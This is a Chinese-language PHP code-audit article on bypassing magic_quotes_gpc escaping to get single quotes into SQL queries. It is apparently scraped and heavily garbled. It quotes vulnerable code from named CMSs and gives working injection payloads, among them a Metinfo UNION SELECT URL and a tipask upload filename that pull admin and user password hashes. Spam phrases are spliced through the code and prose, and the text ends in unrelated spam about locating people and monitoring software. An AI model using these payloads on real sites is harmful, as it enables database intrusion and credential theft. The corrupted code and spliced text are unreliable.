*** 黑客如何判断他人部位-探讨审计中怎么才能定位引入单引号的地方
在审计中假如能迅速绕开限定或是迅速定位到能引入单引号的地方,那麼这个地方很有可能便是一个极致的引入,共享一下自己现阶段想起的能引入单引号的状况和方式。
一、被GPC忽视的$_SERVER
有关GPC这个问题,不得不承认$_SERVER,在GPC打开的状况下$_SERVER不是受GPC危害的。
$SERVER用于获得 *** 服务器和实行自然环境信息内容,如果我们能操纵$_SERVER的內容,那麼就很有可能引入一个单引号。
依据以前纪录的文章内容,我找到了$_SERVER中的三个可控性的地方,各自用审计案例演试一下:$_SERVER[‘SERVER_NAME‘]、 $_SERVER[‘HTTP_X_FORWARDED_FOR’]、$_SERVER[‘PHP_SELF’]
$_SERVER[‘SERVER_NAME‘] 在apache2 网站渗透自学手机软件 下 假如你沒有设定ServerName或是沒有把UseCanonicalName 设定为 On得话,这一值便会是手机客户端出示的hostname ,针对apache而言,它只取之一个host,但针对php而言,无论多少个,它全要了。
$_SERVER[‘SERVER_NAME‘] 审计案例:
在mlecms2.3中inc/lib/admin.lib.php
PHP
1
2
3
4
5
6
7
网站渗透自学手机软件 public static function logs($type,$info){
global $db,$admin_config,$gmt_time;
if($admin_config['logs_open']== 1){
$sql = "INSERT INTO `{$db->prefix}logs` (`type`,`info`,`pageurl`,`lang`,`username`,`ip`,`ipaddress`,`addtime`) 网站渗透自学手机软件 VALUES ('{$type}','{$info}','http://{$_SERVER['SERVER_NAME']}".substr(get_url(),0,200)."','".LANG."','{$_SESSION['admin']['login']['username']}','".get_ip()."','".ip::get_address(get_ip())."','".$gmt_time."');";
$db->execute($sql);}
}
能够见到$_SERVER[‘SERVER_NAME’]立即带到sql语句,尽管全局性应用了GPC转义,可是$_SERVER并不会受到GPC限定,因此 这里可立即引入
$_SERVER[‘HTTP_X_FORWARDED_FOR’]案例:
$_SERVER[‘HTTP_X_FORWARDED_FOR’]我找到了一款cms Redlay-Social-Network github下载链接https:网站渗透自学手机软件//github.com/JamesQuintero/Redlay-Social-Network/tree/36b67ea0b79a587e5ef071bddcf7b028f542626e
在page_login.php中
PHP
1
2
网站渗透自学手机软件 3
4
5
6
7
8
9
if((!empty($_POST['email'])) && (!empty($_POST['password'])))
{
网站渗透自学手机软件 //uses blowfish to hash the password for verification
//salt will be truncated if over 22 characters
$password=crypt($password, '$2a$07$27'.$email.'SECRET_SALT_STRING');
网站渗透自学手机软件
//check previous logins
$valid=false;
$query=mysql_query("SELECT timestamps FROM page_login_attempts WHERE 网站渗透自学手机软件 ip_address='".$_SERVER[HTTP_X_FORWARDED_FOR]."'");
立即带到$_SERVER[HTTP_X_FORWARDED_FOR]导致sql注入
https://github.com/saatanaperkele/SUPER-DUPER-HACKED-TOGETHER-COPYPASTA-SHITFEST-PENIS/blob/937ae847f02655190a3b10a67e1be4e40a24c957/threadwatch.php 也一样存有这类状况
网站渗透自学手机软件
PHP
1
2
3
4
5
6
7
8
9
网站渗透自学手机软件10
11
if (isset($_GET['do'])){
switch($_GET['do']){
case 'addthread':
$viewing_thread_is_watched = $tc_db->GetOne("SELECT COUNT(*) FROM `" . KU_DBPREFIX . 网站渗透自学手机软件 "watchedthreads` WHERE `ip` = '" . $_SERVER['HTTP_X_FORWARDED_FOR']. "' AND `board` = " . $tc_db->qstr($_GET['board']) . " AND `threadid` = " . $tc_db->qstr($_GET['threadid']) . "");
if ($viewing_thread_is_watched == 0){
$newestreplyid = $tc_db->GetOne('SELECT `id` FROM `'.KU_DBPREFIX.'posts` WHERE `boardid` = ' . $boardid . ' AND `IS_DELETED` = 0 AND `parentid` = '.$tc_db->qstr($_GET['threadid']).' ORDER BY `id` DESC LIMIT 1');
$newestreplyid = max(0, 网站渗透自学手机软件 $newestreplyid);
$tc_db->Execute("INSERT INTO `" . KU_DBPREFIX . "watchedthreads` ( `threadid` , `board` , `ip` , `lastsawreplyid` ) VALUES ( " . $tc_db->qstr($_GET['threadid']) . " , " . $tc_db->qstr($_GET['board']) . & quot; , '" .黑客技术自学手机软件 $_SERVER['HTTP_X_FORWARDED_FOR'] . "' , " . $newestreplyid . " )");
if (KU_APC) apc_delete('watchedthreads|' . $_SERVER['HTTP_X_FORWARDED_FOR'] . '|' . $_GET['board']);
}
break;
$_SERVER[‘PHP_SELF’] 黑客技术自学手机软件 审计实例:
Metinfo的一个前台注入
system\include\compatible\metv5_top.php中
PHP
1
2
3
4
php_SELF = $_SERVER['PHP_SELF'] ? 黑客技术自学手机软件 $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$PHP_SELFs = explode('/', $PHP_SELF);
$query = "SELECT * FROM {$_M['table'][column]} where module!=0 and foldername = '{$PHP_SELFs[count($PHP_SELFs)-2]}' and lang='{$_M['lang']}'";
黑客技术自学手机软件 $column = DB::get_one($query);全局并没有过滤SERVER 但是PHP_SELF 其实是可以控制那么一小部分的。。$PHP_SELFs = explode('/', $PHP_SELF); 这里又切割成数组。$PHP_SELFs[count($PHP_SELFs)-2] 把这个带入了查询访问/member/login.php的时候 就会调用这个文件。
http://www.am0s.com/metinfo/member/login.php/aa’UNION SELECT (select 黑客技术自学手机软件 concat(admin_id,0x23,admin_pass) from met_admin_table limit 1),11113,11111,11111,11111,11111,11111,11111,11111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,111111111黑客技术自学手机软件1,1111111111,1111111111,1111111111,1111111111%23/aa
二、$_FILES
之前文章中涉及过$_FILES,请移步copy()
$_FILES出现注入的情况应该是开发忽视的一个问题,在代码中只过滤了post和get方式,忽略了$_FILES,从而导致注入
审计实例:tipask
黑客技术自学手机软件
PHP
1
2
3
4
5
6
7
8
9
10
11
黑客技术自学手机软件 12
13
14
15
16
17
18
19
20
21
22
23
24
黑客技术自学手机软件 25
26
27
28
29
30
31
32
33
34
35
36
37
黑客技术自学手机软件 38
39
40
41
42
43
44
45
46
47
48
49
50
5黑客技术自学手机软件1
52
53
54
55
56
57
58
59
60
61
62
63
64黑客技术自学手机软件
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
<?php
!defined('IN_TIPASK') && exit('Access Denied');
class attachcontrol extends base {
function attachcontrol(& $get, & $post) {
$this->base(& $黑客技术自学手机软件get, & $post);
$this->load('attach');
}
function onupload() {
//上传配置
黑客技术自学手机软件 $config = array(
"uploadPath" => "data/attach/", //保存路径
黑客技术自学手机软件 "fileType" => array(".rar", ".doc", ".docx", ".zip", ".pdf", ".txt", ".swf", ".wmv", "xsl"), //文件允许格式
黑客技术自学手机软件 "fileSize" => 10 //文件大小限制,单位MB
);
//文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜
$state 黑客技术自学手机软件 = "SUCCESS";
$fileName = "";
$path = $config['uploadPath'];
$clientFile 黑客技术自学手机软件 = $_FILES["upfile"];
if (!isset($clientFile)) {
echo "{'state':'文件大小超出服务器配置!','url':'null','fileType':'null'}"; 黑客技术自学手机软件 //请修改php.ini中的upload_max_filesize和post_max_size
exit;
}
黑客技术自学手机软件 //格式验证
$current_type = strtolower(strrchr($clientFile["name"], '.'));
if (!in_array($current_type, $config['fileType'])) {
黑客技术自学手机软件 $state = "不支持的文件类型!";
}
//大小验证
$file_size = 1024 * 1黑客技术自学手机软件024 * $config['fileSize'];
if ($clientFile["size"] > $file_size) {
$state = "文件大小超出限制!";
黑客技术自学手机软件 }
//保存文件
if ($state == "SUCCESS") {
$targetfile = 黑客技术自学手机软件 $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($clientFile["name"], '.');
$result = $_ENV['attach']->movetmpfile($clientFile, $targetfile);
黑客技术自学手机软件 if (!$result) {
$state = "文件保存失败!";
&黑客技术自学手机软件nbsp; } else {
$_ENV['attach']->add($clientFile["name"], $current_type, $clientFile["size"], $targetfile, 0)黑客技术自学手机软件;
}
}
//向浏览器返回数据json数据
echo '{"state":"' 黑客技术自学手机软件 . $state . '","url":"' . $targetfile . '","fileType":"' . $current_type . '","original":"'.$clientFile["name"] .'"}';
}
黑客技术自学手机软件 function onuploadimage() {
//上传配置
$config = array(
"uploadPath" 黑客技术自学手机软件 => "data/attach/", //保存路径
"fileType" => array(".gif", ".png", ".jpg", ".jpeg", "黑客技术自学手机软件.bmp"),
"fileSize" => 2048
);
//原始文件名,表单名固定,黑客技术自学手机软件不可配置
$oriName = htmlspecialchars($this->post['fileName'], ENT_QUOTES);
//上传图片框中的描述表单名称,
黑客技术自学手机软件 $title = htmlspecialchars($this->post['pictitle'], ENT_QUOTES);
//文件句柄
$file = $_FILES["黑客技术自学手机软件upfile"];
//文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜并显示在图片预览框,同时可以在前端页面通过回调函数获取对应字符窜
$state = "SUCCESS";
黑客技术自学手机软件 //格式验证
$current_type = strtolower(strrchr($file["name"], '.'));
if (!in_array($current_type, 黑客技术自学手机软件 $config['fileType'])) {
$state = $current_type;
}
//大小验证
$file_size = 1024 * $config['fileSize'];
if ($file["size"] > $file_size) {
$state 黑客技术自学手机软件 = "b";
}
//保存图片
if ($state == "SUCCESS&黑客技术自学手机软件quot;) {
$targetfile = $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($file["name"], '.');
黑客技术自学手机软件 $result = $_ENV['attach']->movetmpfile($file, $targetfile);
if (!$result) {
$state 黑客技术自学手机软件 = "c";
} else {
$_ENV['attach']->黑客技术自学手机软件add($file["name"], $current_type, $file["size"], $targetfile);
}
}
黑客技术自学手机软件 echo "{'url':'" . $targetfile . "','title':'" . $title . "','original':'" . $oriName . "','state':'" . $state . "'}";
}
黑客技术自学手机软件 }
?>
在tipask中,对post个get进行了过滤,忽略了$_files,在文件上传后$_ENV[‘attach’]->add($clientFile[“name”]…),将$clientFile[name] = $_FILES[“upfile”][name]带入了如下add入库的操作,从而造成注入。
poc:filename=”1黑客技术自学手机软件′,’.php’,1,(select concat(username,0x7e,password) from ask_user limit 1),2,1)”#.jpg
三、一些编码函数
这些函数应该都会被列入敏感函数的名单中,后续会更新文章
substr() 、stripslashes() 、urldecode() 、base64_decode() 、parse_str() 除此之外,可能还存在其他编码函数导致注入。想起一点写一点吧。
审计实例看urldecode()文章中的审计实例吧 黑客技术自学手机软件 地址:http://www.am0s.com/functions/226.html
四、magic_quotes_gpc=Off时,addslashes的缺陷
很多程序在如magic_quotes_gpc=off下自己实现一个代码来模拟magic_quotes_gpc=on的情况. 如下面的一段代码:
PHP
黑客技术自学手机软件1
2
3
4
5
6
7
8
9
10
11
12
13
黑客技术自学手机软件 function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
黑客技术自学手机软件 if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] 黑客技术自学手机软件 = daddslashes($val, $force);
}
} else {
黑客技术自学手机软件 $string = addslashes($string);
}
}
return $string;
黑客技术自学手机软件 }
利用addslashes()函数模拟了magic_quotes_gpc=on时的效果,看上去很完美,其实是有缺陷的或者说只是模拟了magic_quotes_gpc的部分功能.magic_quotes_gpc=on时不仅仅用addslashes处理了变量值,而且处理了变量名[既$_GET/$_POST等超全局变量的key,而前面那段模拟magic_quotes_gpc的代码仅仅处理了数组的值,因此是存在安全隐患的。
实例[ECShop SQL injection 黑客技术自学手机软件 漏洞分析]
文件includes/init.php判断get_magic_quotes_gpc(),如果为off则调用addslashes_deep():
PHP
1
2
3
4
5
6
7
89
10
11
12
13
14
15
// includes/init.php
if (!get_magic_quotes_gpc())
{
if (!empty($_GET)){
$_GET = addslashes_deep($_GET);
}
黑客技术自学手机软件 if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
黑客技术自学手机软件 $_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
addslashes_deep()在文件includes/lib_base.php里最后通过addslashes()处理
PHP
1
2
3
4
5
6
7
8
9
10黑客技术自学手机软件
11
12
13
// includes/lib_base.php
function addslashes_deep($value)
{
if (empty($value))
黑客技术自学手机软件 {
return $value;
}
else
{
return 黑客技术自学手机软件 is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
// 只处理了数组的值:)
}
}
下面看下具体的导致漏洞的代码,文件 pick_out.php里:
黑客技术自学手机软件
PHP
1
2
3
4
5
6
7
8
9
黑客技术自学手机软件10
11
12
13
14
15
16
17
18
19
20
21
22
2324
25
26
// pick_out.php
if (!empty($_GET['attr']))
{
foreach($_GET['attr'] as $key => $value)
黑客技术自学手机软件 {
$key = intval($key);
$_GET['attr'][$key] = htmlspecialchars($value);
&黑客技术自学手机软件nbsp; // foreach处理的是指定数组的拷贝,所以这里的处理并不影响数组原先的key和value
// 因此可以引入任意的key:)
// 程序员的逻辑出了问题?
}
黑客技术自学手机软件 }
...
foreach ($_GET['attr'] AS $key => $value)
{
$attr_url 黑客技术自学手机软件 .= '&attr[' . $key . ']=' . $value;
$attr_picks[] = $key;
黑客技术自学手机软件 if ($i > 0)
{
if (empty($goods_result))
&黑客技术自学手机软件nbsp; {
break;
&黑客技术自学手机软件nbsp; }
// 利用key进行注射:)
$goods_result 黑客技术自学手机软件 = $db->getCol("SELECT goods_id FROM " . $ecs->table("goods_attr") . " WHERE goods_id IN (" . implode(',' , $goods_result) . ") AND attr_id='$key' AND attr_value='$value'");
由于magic_quotes_黑客技术自学手机软件gpc=off时没有对$key处理,同时在数组赋值时存在逻辑问题,最终导致了注射漏洞:)
五、str_replace绕过GPC的例子
PHP
1
2
3
<?php
$test=str_replace($_GET['a'],'',$_GET['b']);
echo $test; ?>
test.php?a=&b=%00′ =>\0\’
test.php?a=0&b=%00′ =>\\’ 黑客技术自学手机软件 成功使用反斜杠注释掉GPC添加的反斜杠,从而引入单引号。这个问题曾发生在echop的支付模块中
六、preg_replace
在法师博客看到的,法师没找到实例,我找了下也没有,看下理论吧,说不定会遇到
PHP
1
2
3
4
5
6
黑客技术自学手机软件<?php
$test=0;
extract($_GET);
$test=preg_replace("/^(.*)(')/", "\\1\\\\'", $test);
echo $test;
?>
当提交
http://www.am0s.com/test/test.php?test=1%27 黑客技术自学手机软件 =>1\’
http://127.0.0.1/test/test.php?test=1%0d%0a%27 =>1′
原理是该正则过滤只是把匹配到的关键字进行过滤,如果匹配不到那么就无法过滤。 利用%0d%0a可绕过正则
。中文名:恩德培机场英文名:EntebbeInternationalAirport所在城市:坎帕拉三字代码:EBB四字代码:HUEN乌兹别克斯坦塔什干(首都)TAS阿达纳ADA城黑客技术自学手机软件市代码城市代码城市代码安庆AQG九寨JZH乌鲁木齐URC安康AKA昆明KMG武汉WUH包头BAV。黑客怎么知道别人位置
黑客免费帮忙盗 *** 是这样子的如果仅仅只是入侵那么编程显得就不重要了因为编程说白了就是让计算机自身没有办法去实现造出来的功能都可称为编程而入侵就不同了。
黑客怎么知道别人位置用WorkWin电脑监控软件就可以了。
1.百度打上黑客然后去一些黑客论坛里招版主。在问。2.去一些 *** 群。去问。但是别去黑客群。要去就去各种编程破解群。
。2015年6月21日下午,波兰航空公司的地面操作系统遭遇黑客袭击,致使系统瘫黑客技术自学手机软件痪长达5小时,至少10个班次的航班被取消,1400多名乘客滞留华沙弗雷德里克·肖邦机场。这是全球。黑客怎么知道别人位置
苹果手机app支付必须通过苹果官方的appstore,可以在appstore内购买软件的支付方式。修改操作方式如下:手机进入AppStore,在首页“精品推荐”这个界面,苹果手机腾讯会员开通 *** : *** 一:1.首先打开腾讯视频会员官方网站,就是说在手机浏览器或者电脑浏览器中打开网址:2.接着。
黑客怎么知道别人位置百度一下你就知道黑客(或骇客)与英文原文Hacker、Cracker等含义不能够达到完全对译,这是中英文语言词汇各自黑客技术自学手机软件发展中形成的差异。Hacker一词,最初曾指热心。
标签:
版权声明
本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。